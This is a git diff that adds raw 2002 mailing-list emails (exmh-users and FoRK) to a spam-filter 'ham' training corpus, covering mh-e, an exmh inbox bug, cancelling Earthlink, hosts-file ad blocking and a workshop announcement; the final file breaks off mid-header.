a/bayes/spamham/easy_ham_2/00759.59d03df774834b507dcab63ed02ef577 b/bayes/spamham/easy_ham_2/00759.59d03df774834b507dcab63ed02ef577 new file mode 100644 index 0000000..1e1f74c --- /dev/null +++ b/bayes/spamham/easy_ham_2/00759.59d03df774834b507dcab63ed02ef577 @@ -0,0 +1,89 @@ +From exmh-users-admin@redhat.com Tue Aug 6 11:47:36 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C75BC441D9 + for ; Tue, 6 Aug 2002 06:43:23 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:43:23 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g767RXk17250 for + ; Tue, 6 Aug 2002 08:27:34 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id 3AE033EAC4; Tue, 6 Aug 2002 + 03:26:01 -0400 (EDT) +Delivered-To: exmh-users@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id 7AECF3EA46 + for ; Tue, 6 Aug 2002 03:25:24 -0400 (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g767PNk06881 for exmh-users@listman.redhat.com; Tue, 6 Aug 2002 + 03:25:23 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g767PNq06877 for + ; Tue, 6 Aug 2002 03:25:23 -0400 +Received: from dingo.home.kanga.nu (ocker.kanga.nu [198.144.204.213]) by + mx1.redhat.com (8.11.6/8.11.6) with SMTP id g767CUl22140 for + ; Tue, 6 Aug 2002 03:12:30 -0400 +Received: from localhost ([127.0.0.1] helo=dingo.home.kanga.nu) by + dingo.home.kanga.nu with esmtp (Exim 3.35 #1 (Debian)) id 17byiX-00013b-00 + for ; Tue, 06 Aug 2002 00:25:21 -0700 +Received: from localhost ([127.0.0.1] helo=kanga.nu) by + dingo.home.kanga.nu with esmtp (Exim 3.35 #1 (Debian)) id 17byiV-00013T-00 + for ; Tue, 06 Aug 2002 00:25:19 -0700 +To: exmh-users@spamassassin.taint.org +Subject: Re: curses interface to nmh +In-Reply-To: Message from Tom Reingold of + "Mon, 05 Aug 2002 21:39:59 EDT." + <20020806014000.48D429E@whatexit.org> +References: <20020806014000.48D429E@whatexit.org> +X-Face: ?^_yw@fA`CEX&}--=*&XqXbF-oePvxaT4(kyt\nwM9]{]N!>b^K}-Mb9 + YH%saz^>nq5usBlD"s{(.h'_w|U^3ldUq7wVZz$`u>MB(-4$f\a6Eu8.e=Pf\ +X-Image-Url: http://www.kanga.nu/~claw/kanga.face.tiff +X-Url: http://www.kanga.nu/~claw/ +Message-Id: <4058.1028618719@kanga.nu> +X-Envelope-To: exmh-users@spamassassin.taint.org +From: J C Lawrence +X-Delivery-Agent: TMDA/0.58 +X-Tmda-Fingerprint: wRH7vKaXiHx3KWU5F+R9ceqXhK0 +X-Loop: exmh-users@spamassassin.taint.org +Sender: exmh-users-admin@spamassassin.taint.org +Errors-To: exmh-users-admin@spamassassin.taint.org +X-Beenthere: exmh-users@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +Reply-To: exmh-users@spamassassin.taint.org +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH users +List-Unsubscribe: , + +List-Archive: +Date: Tue, 06 Aug 2002 00:25:19 -0700 + +On Mon, 05 Aug 2002 21:39:59 -0400 +Tom Reingold wrote: + +> Years ago, there was a package called mh-e which was an emacs +> interface to MH. I don't know if it's still around or works. But +> it's an idea. + +Its still around, its actively maintained, and its quite well evolved. + +-- +J C Lawrence +---------(*) Satan, oscillate my metallic sonatas. +claw@kanga.nu He lived as a devil, eh? +http://www.kanga.nu/~claw/ Evil is a name of a foeman, as I live. + + + +_______________________________________________ +Exmh-users mailing list +Exmh-users@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-users + + diff --git a/bayes/spamham/easy_ham_2/00760.c97fe36818c28d0dec542f294a0771b9 b/bayes/spamham/easy_ham_2/00760.c97fe36818c28d0dec542f294a0771b9 new file mode 100644 index 0000000..c25212c --- /dev/null +++ b/bayes/spamham/easy_ham_2/00760.c97fe36818c28d0dec542f294a0771b9 @@ -0,0 +1,95 @@ +From exmh-users-admin@redhat.com Tue Aug 6 11:48:03 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5F73C441CE + for ; Tue, 6 Aug 2002 06:43:42 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:43:42 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7687Xk18217 for + ; Tue, 6 Aug 2002 09:07:34 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id 7CE913EEBB; Tue, 6 Aug 2002 + 04:06:01 -0400 (EDT) +Delivered-To: exmh-users@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id 723A93EA9C + for ; Tue, 6 Aug 2002 04:05:04 -0400 (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g76853R12509 for exmh-users@listman.redhat.com; Tue, 6 Aug 2002 + 04:05:03 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g76853q12504 for + ; Tue, 6 Aug 2002 04:05:03 -0400 +Received: from oxmail.ox.ac.uk (oxmail1.ox.ac.uk [129.67.1.2]) by + mx1.redhat.com (8.11.6/8.11.6) with SMTP id g767qAl28804 for + ; Tue, 6 Aug 2002 03:52:10 -0400 +Received: from heraldgate2.oucs.ox.ac.uk ([163.1.2.50] + helo=frontend2.herald.ox.ac.uk) by oxmail.ox.ac.uk with esmtp (Exim 3.36 + #1) id 17bzKv-0006kv-01 for exmh-users@redhat.com; Tue, 06 Aug 2002 + 09:05:01 +0100 +Received: from fepa.biop.ox.ac.uk ([163.1.16.72] ident=baaden) by + frontend2.herald.ox.ac.uk with esmtp (Exim 3.32 #1) id 17bzKv-0000mo-00 + for exmh-users@redhat.com; Tue, 06 Aug 2002 09:05:01 +0100 +X-Mailer: exmh version 2.5 07/13/2001 (debian 2.3.1-1) with nmh-1.0.4+dev +To: exmh-users@spamassassin.taint.org +Subject: inbox mail notification broken +X-Image-Url: http://crypt.u-strasbg.fr/marc/m-baaden.gif +X-Url: +X-Face: -Nz&SN]%I8g9WFR#/!fe9se!_G_OndNloj@t+6jrGsoZ"z)?an0n + P!Nls~*o?u7fy:]1N|^^(KX*uE>Nk{bHaCJ)(hXF~E#5)j.k0n4hgfIzpmn,[VY'\7X:;VOZ\CItIq + G!2f8,k2`VLrkXQ:<.3LxEQ'E-;d:A)V# +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +From: Marc Baaden +Message-Id: +X-Loop: exmh-users@spamassassin.taint.org +Sender: exmh-users-admin@spamassassin.taint.org +Errors-To: exmh-users-admin@spamassassin.taint.org +X-Beenthere: exmh-users@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +Reply-To: exmh-users@spamassassin.taint.org +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH users +List-Unsubscribe: , + +List-Archive: +Date: Tue, 06 Aug 2002 09:04:58 +0100 + + +Hi, + +I am experiencing a strange problem since a couple of days now, +I have several folders with unseen sequences, and when there is +new mail they are highlighted. This works fine. + +But .. since a couple of days the actual inbox won't be highlighted +any more when there is new mail. On the other hand the unseen window +still indicates if there is new mail in the inbox. + +All other folders seem to work properly. + +Any hints ? + + Marc Baaden + +-- + Dr. Marc Baaden - Laboratory of Molecular Biophysics, Oxford University + mailto:baaden@smplinux.de - ICQ# 11466242 - http://www.marc-baaden.de + FAX/Voice +49 697912 39550 - Tel: +44 1865 275380 or +33 609 843217 + + + + +_______________________________________________ +Exmh-users mailing list +Exmh-users@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-users + + diff --git a/bayes/spamham/easy_ham_2/00761.f626f551015996bcfdc414224c5fe06b b/bayes/spamham/easy_ham_2/00761.f626f551015996bcfdc414224c5fe06b new file mode 100644 index 0000000..004e66e --- /dev/null +++ b/bayes/spamham/easy_ham_2/00761.f626f551015996bcfdc414224c5fe06b @@ -0,0 +1,89 @@ +From fork-admin@xent.com Tue Aug 6 11:58:24 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B8A62441DC + for ; Tue, 6 Aug 2002 06:48:59 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:48:59 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g731J6v25255 for ; + Sat, 3 Aug 2002 02:19:09 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id F14952940B7; Fri, 2 Aug 2002 18:16:03 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from tripper.magisoftware.com (tripper.magisoftware.com + [208.179.190.4]) by xent.com (Postfix) with ESMTP id EAF0A2940B3 for + ; Fri, 2 Aug 2002 18:15:22 -0700 (PDT) +Received: from endeavors.com ([208.179.190.254]) by + tripper.magisoftware.com (Netscape Messaging Server 4.1) with ESMTP id + H08U6G00.Q4S for ; Fri, 2 Aug 2002 18:15:52 -0700 +Message-Id: <3D4B2EA4.8010105@endeavors.com> +From: "Gregory Alan Bolcer" +Organization: Endeavors Technology, Inc. +User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:0.9.4.1) + Gecko/20020508 Netscape6/6.2.3 +X-Accept-Language: en,pdf +MIME-Version: 1.0 +To: FoRK +Subject: Home Pages for Computer Scientists +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Fri, 02 Aug 2002 18:15:16 -0700 + +I was doing a search on some research papers on computer science and +ran across one of the most useful examples of public vertical search portals. +http://hpsearch.uni-trier.de/hp/ + +It's the home pages of 62,179 computer scientists. +Mostly broken, but 50/50 on better title hits than DBLP. + +One thing that's interesting is that for Google's +"Similar Pages", only one homepage which returns the FoRK Archive is +the page below[1] Is he on FoRK. Other similar pages +include printer toner, home mortgages, and one for the origins of the +prime radiant[2] which I found out is an Asmiov concept. + +The concept of a prime radiant is that there +is a single interconnected FoRKlist that ties a large number of +decentralized individuals throughout the world who's collective +wisdom is a good model for predicint the future. + + +Greg + +[1] http://www.eecs.umich.edu/~jfm/roberto.html +[2] http://www.prime-radiant.com/primeorigins.html + + + +Greg + +-- +Gregory Alan Bolcer, CTO | work: +1.949.833.2800 | gbolcer at endeavors.com +Endeavors Technology, Inc. | cell: +1.714.928.5476 | http://endeavors.com + + + + + + + + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00762.33cb23d036d704e77b20ec7b4918a0b0 b/bayes/spamham/easy_ham_2/00762.33cb23d036d704e77b20ec7b4918a0b0 new file mode 100644 index 0000000..676d20f --- /dev/null +++ b/bayes/spamham/easy_ham_2/00762.33cb23d036d704e77b20ec7b4918a0b0 @@ -0,0 +1,72 @@ +From fork-admin@xent.com Tue Aug 6 11:58:54 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D8D5C441F8 + for ; Tue, 6 Aug 2002 06:49:13 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:49:13 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g745Xsv17573 for ; + Sun, 4 Aug 2002 06:33:55 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 5E055294104; Sat, 3 Aug 2002 22:31:03 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from barrera.org (cpe-65-172-233-109.sanbrunocable.com + [65.172.233.109]) by xent.com (Postfix) with ESMTP id 192AA294100 for + ; Sat, 3 Aug 2002 22:30:51 -0700 (PDT) +Received: from (127.0.0.1 [127.0.0.1]) by MailEnable Inbound Mail Agent + with ESMTP; Sun, 04 Aug 2002 05:31:23 -08:00 +Message-Id: <3D4CBC2B.1070208@barrera.org> +From: "Joseph S. Barrera III" +Organization: Rose Garden Funeral of Sores +User-Agent: Mutt/1.5.0 [-1214711651] +X-Accept-Language: en-us, en, ja +MIME-Version: 1.0 +To: "Mr. FoRK" +Cc: fork@spamassassin.taint.org +Subject: Re: Using hosts file to rid yourself of popup ads +References: +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sat, 03 Aug 2002 22:31:23 -0700 + +Mr. FoRK wrote: +> Don't know if everybody knows this trick... + +Yes. They do. + +> > Because we're inherently lazy, this works for windows only, + +Huh? Oh, that's right, Unix picked up the idea of /etc/hosts +from Windows. I keep forgetting. + + > > don't use it on a mac! + +Especially macs running unix (see above). + +> > We didn't write this file and do not provide + > > support for it's use. + +We don't even know how to use the fucking English language. +-- +What security level comes after "Totally Apeshit"? + -- http://www.mnftiu.cc/mnftiu.cc/war12.html + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00763.56048764a923575d091a576a35803947 b/bayes/spamham/easy_ham_2/00763.56048764a923575d091a576a35803947 new file mode 100644 index 0000000..6860cb2 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00763.56048764a923575d091a576a35803947 @@ -0,0 +1,101 @@ +From fork-admin@xent.com Tue Aug 6 11:59:40 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5CCD0441FA + for ; Tue, 6 Aug 2002 06:49:16 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:49:16 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g74MLuv11290 for ; + Sun, 4 Aug 2002 23:21:57 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 600752940BD; Sun, 4 Aug 2002 15:19:03 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mail.cruzio.com (mail.cruzio.com [63.249.95.37]) by + xent.com (Postfix) with ESMTP id 8B0EE2940AD for ; + Sun, 4 Aug 2002 15:18:49 -0700 (PDT) +Received: from Tycho (dsl3-63-249-68-7.cruzio.com [63.249.68.7]) by + mail.cruzio.com with SMTP id PAA12678 for ; Sun, + 4 Aug 2002 15:19:28 -0700 (PDT) +From: "Jim Whitehead" +To: "FoRK" +Subject: FYI: WSE 2002 +Message-Id: +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) +Importance: Normal +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sun, 4 Aug 2002 15:17:34 -0700 + +FYI, members of this list might be interested in the 4th International +Workshop on Web Site Evolution (WSE 2002), being held October 2, 2002, in +Montreal, Canada. + +http://star.itc.it/wse2002/ + +- Jim + +>>From the Web page: + + The potential of the Web as a vehicle for offering a variety of services is +becoming more apparent as Web sites evolve their contents from static +information to more dynamic and interactive forms. A number of new standards +and commercial products are emerging, offering a basis for developing +Web-based services from dynamic composible resources, extending both the +range and scope of services that can be made available through the Web. + +The goal of this one-day workshop is to bring together members of the Web +design, software engineering, and information technology communities to +discuss techniques for migrating to Web services. Architectural styles and +tool support for service-based Web sites are currently quite diverse. +Expertise in constructing service-based Web pages is quite limited, and +experience accounts are lacking. The explosion of non-traditional computing +platforms for browsing the Web, such as PDAs, WAP-enabled phones, and +Internet appliances, is forcing Web professionals to rethink the separation +of form from content and the range and scope of services offered via the +Web. + +WSE 2002 will provide an opportunity for the exchange of information related +to exciting new research and empirical results in areas including (but not +limited to): + +* Migrating to Web services +* Web quality determination and improvement through process and product +control +* Enhancing Web sites to make them more accessible, reliable, and usable +* Analyzing and reverse-engineering Web site content and structure +* Making Web site content available in multiple formats for multiple +platforms +* Applying traditional software engineering activities such as +architecture, metrics, and testing to Web sites +* Case studies of large-scale Web site reuse, reengineering, and evolution + +WSE 2002 is co-located with the IEEE International Conference on Software +Maintenance (ICSM 2002). ICSM is the IEEE Computer Society's flagship event +focused on the modernization of existing systems. ICSM 2002's theme of +"maintaining distributed heterogeneous systems" nicely compliments WSE +2002's overall theme and goals. + + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00764.45b68b142682601c627298dac056103e b/bayes/spamham/easy_ham_2/00764.45b68b142682601c627298dac056103e new file mode 100644 index 0000000..d875aba --- /dev/null +++ b/bayes/spamham/easy_ham_2/00764.45b68b142682601c627298dac056103e @@ -0,0 +1,73 @@ +From fork-admin@xent.com Tue Aug 6 11:59:43 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id DC2E7441FB + for ; Tue, 6 Aug 2002 06:49:17 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:49:17 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g74Mcuv11761 for ; + Sun, 4 Aug 2002 23:38:56 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id A1FB82940CB; Sun, 4 Aug 2002 15:36:03 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mta6.snfc21.pbi.net (mta6.snfc21.pbi.net [206.13.28.240]) + by xent.com (Postfix) with ESMTP id 30D8D2940CB for ; + Sun, 4 Aug 2002 15:35:38 -0700 (PDT) +Received: from endeavors.com ([66.126.120.174]) by mta6.snfc21.pbi.net + (iPlanet Messaging Server 5.1 (built May 7 2001)) with ESMTP id + <0H0C00LS3C4HFR@mta6.snfc21.pbi.net> for fork@xent.com; Sun, + 04 Aug 2002 15:36:17 -0700 (PDT) +From: Gregory Alan Bolcer +Subject: Re: Cancelling earthlink +To: Joel Warren +Cc: FoRK +Message-Id: <3D4DAA2B.CA48FDBE@endeavors.com> +Organization: Endeavors Technology, Inc. +MIME-Version: 1.0 +X-Mailer: Mozilla 4.79 [en] (X11; U; IRIX 6.5 IP32) +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 7bit +X-Accept-Language: en, pdf +References: <000f01c23cc6$4017fbe0$691f29d8@oemcomputer> +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sun, 04 Aug 2002 15:26:52 -0700 + +Joel Warren wrote: +> +> Part 1.1 Type: Plain Text (text/plain) +> Encoding: quoted-printable +> Hey Greg! My name is joel Warren and I need to cancel earthlink. Your message was posted awhile ago so I am not sure if you can still refer me to someone or a # that i can call about cancelling. I would appreciate it! Thanks! Joel + + +Hey Joel, + Your message wasn't clear if you are cancelling a +regular earthlink account or the Omnisky inherited one. +I'm sure if you call their customer service number +they can unsubscribe you. I took me 4 tries, +so make sure you get a confirmation number. They'll +try and not give you one and ignore your call just +to make it really inconvenient. + +http://support.earthlink.net/support/CONTACT/phone.jsp + +Out of interest, what search engine and term did you +do to find that article? + +Greg +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00765.faf588d84afc2fef853ab73a5b797cce b/bayes/spamham/easy_ham_2/00765.faf588d84afc2fef853ab73a5b797cce new file mode 100644 index 0000000..f18bf50 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00765.faf588d84afc2fef853ab73a5b797cce @@ -0,0 +1,65 @@ +From fork-admin@xent.com Tue Aug 6 12:00:00 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id BB1DC441FC + for ; Tue, 6 Aug 2002 06:49:18 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:49:18 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g74Ngtv13827 for ; + Mon, 5 Aug 2002 00:42:55 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 6CD79294134; Sun, 4 Aug 2002 16:40:04 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from pimout5-int.prodigy.net (pimout5-ext.prodigy.net + [207.115.63.98]) by xent.com (Postfix) with ESMTP id 4D996294104 for + ; Sun, 4 Aug 2002 16:39:04 -0700 (PDT) +Received: from MAX (adsl-64-171-25-185.dsl.sntc01.pacbell.net + [64.171.25.185]) by pimout5-int.prodigy.net (8.11.0/8.11.0) with ESMTP id + g74Ndg2361668 for ; Sun, 4 Aug 2002 19:39:42 -0400 +From: "Max Dunn" +To: "'FoRK'" +Subject: RE: Cancelling earthlink +Message-Id: <000001c23c10$2cfb3880$6f86fea9@MAX> +MIME-Version: 1.0 +Content-Type: text/plain; charset="US-ASCII" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook, Build 10.0.3416 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Importance: Normal +In-Reply-To: <3D4DAA2B.CA48FDBE@endeavors.com> +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sun, 4 Aug 2002 16:39:22 -0700 + + +> I'm sure if you call their customer service +> number they can unsubscribe you. I took me 4 +> tries, + +took me 5. + +> so make sure you get a confirmation number. + +Does that help? I had 5 of those. Lovely company... + +Max + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00766.3c60b4a3900ab239864deb0f2c411577 b/bayes/spamham/easy_ham_2/00766.3c60b4a3900ab239864deb0f2c411577 new file mode 100644 index 0000000..feac4e9 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00766.3c60b4a3900ab239864deb0f2c411577 @@ -0,0 +1,64 @@ +From fork-admin@xent.com Tue Aug 6 12:00:16 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9E19B441FD + for ; Tue, 6 Aug 2002 06:49:19 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:49:19 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7536uv26647 for ; + Mon, 5 Aug 2002 04:06:56 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 660982940B4; Sun, 4 Aug 2002 20:04:04 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from krypton.netropolis.org (unknown [209.225.18.137]) by + xent.com (Postfix) with ESMTP id 10F7D2940B3 for ; + Sun, 4 Aug 2002 20:04:01 -0700 (PDT) +Received: from [203.197.181.86] (helo=rincewind.pobox.com) by + krypton.netropolis.org with esmtp (Exim 3.35 #1 (Debian)) id + 17bY7M-0007Wk-00; Sun, 04 Aug 2002 23:01:15 -0400 +X-PGP-Dsskey: 0x55FAB8D3 +X-PGP-Rsakey: 0xCAA67415 +Message-Id: <5.1.0.14.2.20020805082652.02fc3e50@bgl.vsnl.net.in> +X-Nil: +To: "Mr. FoRK" , +From: Udhay Shankar N +Subject: Re: Using hosts file to rid yourself of popup ads +In-Reply-To: +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii"; format=flowed +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 05 Aug 2002 08:28:22 +0530 + +At 09:24 PM 8/3/02 -0700, Mr. FoRK wrote: + +>Don't know if everybody knows this trick... +> +>Puts 127.0.0.1 as the IP for adservers. Elegant. + +You should note that this trick has been out-evolved by [some] websites. +These sites (e.g, yahoo) require a cookie that is set by the pop-up ad to +be present before your browsing can continue... + +Udhay + +-- +((Udhay Shankar N)) ((udhay @ pobox.com)) ((www.digeratus.com)) + God is silent. Now if we can only get Man to shut up. + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00767.2f469c1c4cfaf3d52a9340d2f5c12acc b/bayes/spamham/easy_ham_2/00767.2f469c1c4cfaf3d52a9340d2f5c12acc new file mode 100644 index 0000000..507d047 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00767.2f469c1c4cfaf3d52a9340d2f5c12acc @@ -0,0 +1,73 @@ +From fork-admin@xent.com Tue Aug 6 12:00:50 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id EBAEA44200 + for ; Tue, 6 Aug 2002 06:49:34 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:49:34 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g75FZ7k16477 for ; + Mon, 5 Aug 2002 16:35:07 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 443A72940CB; Mon, 5 Aug 2002 08:32:04 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from sdwlapn.lig.net (sl-highp1-1-0.sprintlink.net + [144.228.5.138]) by xent.com (Postfix) with ESMTP id 4B60D29409F for + ; Mon, 5 Aug 2002 08:31:09 -0700 (PDT) +Received: from lig.net (IDENT:BiCcsxiVSNERVyIN+ZZ3YWnlgYNIij6v@localhost + [127.0.0.1]) by sdwlapn.lig.net (8.11.6/8.11.6) with ESMTP id g75FSeg11663; + Mon, 5 Aug 2002 11:28:41 -0400 +Message-Id: <3D4E99A8.9000801@lig.net> +From: "Stephen D. Williams" +User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0rc2) + Gecko/20020513 Netscape/7.0b1 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: Udhay Shankar N +Cc: "Mr. FoRK" , fork@spamassassin.taint.org +Subject: Re: Using hosts file to rid yourself of popup ads +References: <5.1.0.14.2.20020805082652.02fc3e50@bgl.vsnl.net.in> +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: 